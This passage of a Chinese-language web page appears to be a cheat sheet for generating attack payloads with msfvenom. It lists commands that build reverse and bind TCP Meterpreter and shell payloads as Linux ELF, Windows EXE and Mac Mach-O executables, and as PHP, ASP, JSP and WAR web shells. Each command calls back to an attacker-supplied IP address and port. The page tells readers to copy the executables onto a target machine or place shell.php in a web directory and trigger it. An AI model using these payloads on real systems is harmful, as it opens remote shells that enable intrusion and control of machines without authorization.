</span></span><span class="line"><span class="ln">16</span><span class="cl">-v, --var-name &lt;name&gt;            指定一个自定义的变量，以确定输出格式
</span></span><span class="line"><span class="ln">17</span><span class="cl">    --shellest                   最小化生成payload
</span></span><span class="line"><span class="ln">18</span><span class="cl">-h, --help                       查看帮助选项
</span></span><span class="line"><span class="ln">19</span><span class="cl">    --help-formats               查看msf支持的输出格式列表</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>1.可执行程序</p>
<p>Linux</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">反向连接：
</span></span><span class="line"><span class="ln">2</span><span class="cl">msfvenom -p linux/x64/meterpreter/reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>&lt;Your IP Address&gt; <span class="nv">LPORT</span><span class="o">=</span>&lt;Your Port to Connect On&gt; -f elf &gt; shell.elf
</span></span><span class="line"><span class="ln">3</span><span class="cl">正向连接：
</span></span><span class="line"><span class="ln">4</span><span class="cl">msfvenom -p linux/x64/meterpreter/bind_tcp <span class="nv">LHOST</span><span class="o">=</span>&lt;Target IP Address&gt; <span class="nv">LPORT</span><span class="o">=</span>&lt;Your Port to Connect On&gt; -f elf &gt; shell.elf</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>Windows</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">msfvenom -p windows/meterpreter/reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>&lt;Your IP Address&gt; <span class="nv">LPORT</span><span class="o">=</span>&lt;Your Port to Connect On&gt; -f exe &gt; shell.exe</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>Mac</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">msfvenom -p osx/x86/shell_reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>&lt;Your IP Address&gt; <span class="nv">LPORT</span><span class="o">=</span>&lt;Your Port to Connect On&gt; -f macho &gt; shell.macho</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>执行方式：直接复制可执行程序到目标机器上执行就行了。</p>
<p>2.Web Payloads</p>
<p>PHP</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">msfvenom -p php/meterpreter_reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>&lt;Your IP Address&gt; <span class="nv">LPORT</span><span class="o">=</span>&lt;Your Port to Connect On&gt; -f raw &gt; shell.php
</span></span><span class="line"><span class="ln">2</span><span class="cl">cat shell.php <span class="p">|</span> pbcopy <span class="o">&amp;&amp;</span> <span class="nb">echo</span> <span class="s1">&#39;&lt;?php &#39;</span> <span class="p">|</span> tr -d <span class="s1">&#39;\n&#39;</span> &gt; shell.php <span class="o">&amp;&amp;</span> pbpaste &gt;&gt; shell.php</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>ASP</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">msfvenom -p windows/meterpreter/reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>&lt;Your IP Address&gt; <span class="nv">LPORT</span><span class="o">=</span>&lt;Your Port to Connect On&gt; -f asp &gt; shell.asp</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>JSP</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">msfvenom -p java/jsp_shell_reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>&lt;Your IP Address&gt; <span class="nv">LPORT</span><span class="o">=</span>&lt;Your Port to Connect On&gt; -f raw &gt; shell.jsp</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>WAR</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">msfvenom -p java/jsp_shell_reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>&lt;Your IP Address&gt; <span class="nv">LPORT</span><span class="o">=</span>&lt;Your Port to Connect On&gt; -f war &gt; shell.war</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>执行方式：将shell.php放在web目录下，使用浏览器访问，或者使用以下命令执行：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">php shell.php</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 